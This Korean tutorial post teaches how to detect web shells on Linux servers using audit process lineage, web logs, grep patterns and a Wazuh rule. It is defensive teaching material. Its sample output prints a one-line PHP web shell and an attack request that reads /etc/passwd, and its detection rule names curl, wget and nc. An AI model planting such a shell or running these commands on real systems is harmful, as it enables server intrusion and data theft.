시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 32/50편 (전체 282/450)
학습 단계: 백도어·C2·은닉 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
웹셸은 웹 서버에 업로드된 악성 스크립트(.php·.jsp 등)로, HTTP 요청을 통해 명령을 실행합니다. 웹 서비스가 셸·명령을 실행하는 계보(F05·11)와 웹 접근 로그를 연계해 탐지합니다.
웹셸 실행 징후
계보: 웹서버(nginx/php-fpm) → sh/bash/명령 (F05·11)
웹 접근 로그: 의심 .php·명령 파라미터 POST/GET
웹셸 파일: 웹루트에 신규 .php·.jsp(난독화 포함)
명령 실행: system()·exec()·eval() 호출
핵심: 웹서버 계보의 명령 실행 + 웹 로그 + 웹루트 파일
웹셸은 웹서버 프로세스가 셸·명령을 생성하는 비정상 계보로 나타납니다. 웹 접근 로그(어떤 요청이 트리거했나)와 결합하면 확정적입니다.
| 웹셸 징후 | 신호 | 위험 |
|---|---|---|
| 웹서버→셸 계보 | php-fpm→sh | 매우 높음 |
| 웹루트 신규 .php | 난독화 스크립트 | 높음 |
| system/exec 호출 | 명령 실행 | 높음 |
| 의심 웹 요청 | cmd 파라미터 | 높음 |
| 정상 웹 처리 | 정상 | 정상 |
# 웹셸 실행 징후 탐지 (분석 방법)
# 웹서버→셸/명령 계보(F05·11)
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'ppid_comm="(php-fpm|nginx|httpd|apache2|tomcat)"' | grep -E 'comm="(sh|bash|id|whoami|uname|cat|curl)"' | tail
# 웹루트 신규 스크립트(의심 함수 포함)
sudo grep -rlE 'system\(|exec\(|passthru\(|eval\(.*\$_(GET|POST|REQUEST)' /var/www 2>/dev/null
$ (웹서버→셸 계보) (없음)
$ (웹루트 의심 스크립트) (없음)
웹 서버가 셸·명령을 생성하지 않고, 웹루트에 의심 함수를 쓰는 신규 스크립트가 없는 상태가 정상입니다.
$ (웹서버→셸 계보)
ppid_comm="php-fpm" comm="sh" args="sh -c id;uname -a;cat /etc/passwd"
$ (웹루트 의심 스크립트)
/var/www/html/uploads/img.php: <?php system($_GET['c']); ?>
웹셸 실행 분석입니다(가상의 예시).
[웹 요청] GET /uploads/img.php?c=id;cat+/etc/passwd (웹 로그)
↓
[웹셸 파일] img.php: system($_GET['c'])
↓ 계보
php-fpm(985) → sh(3001) → id/cat (F05·11)
↓
[명령 실행] 공격자 명령이 웹서버 권한으로 실행
= 웹 요청 + 웹셸 파일 + 웹서버→셸 계보
| 요소 | 해석 |
|---|---|
| 웹 요청 cmd | 웹셸 트리거 |
| img.php | 위장 웹셸 |
| php-fpm→sh | 웹셸 계보 |
| 명령 실행 | 거점 |
웹 접근 로그+프로세스 계보를 연계하면 웹셸이 확정됩니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,c2,">
<rule id="105310" level="14">
<if_sid>105040</if_sid>
<field name="audit.ppid_comm" type="pcre2">^(php-fpm|nginx|httpd|apache2?|tomcat|node)$</field>
<field name="audit.comm" type="pcre2">^(sh|bash|id|whoami|uname|cat|curl|wget|nc)$</field>
<description>웹서버의 명령 실행(웹셸 징후)</description>
<mitre><id>T1505.003</id></mitre>
</rule>
</group>
웹 접근 로그(의심 요청)와 웹루트 FIM(신규 스크립트)을 함께 수집해 웹셸을 확정합니다. 웹서버→셸 계보가 핵심입니다.
| 웹셸 징후 | 신호 |
|---|---|
| 웹서버→셸 계보 | php-fpm→sh |
| 웹루트 신규 .php | 난독화 스크립트 |
| system/exec 호출 | 명령 실행 |
| 의심 웹 요청 | cmd 파라미터 |
| 면접 포인트 | "웹셸은 웹서버→셸 계보 — 웹 접근 로그+프로세스 계보+웹루트 파일 연계 확정" |
다음 편 283. 프로세스·지속성 — 프로세스 인젝션·후킹 징후 탐지 에서는 프로세스 인젝션·후킹 징후를 다루는 프로세스 인젝션·후킹 징후 탐지를 다룹니다.
이전 편: 281. 프로세스·지속성 — C2 비컨(beacon) 통신 패턴 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점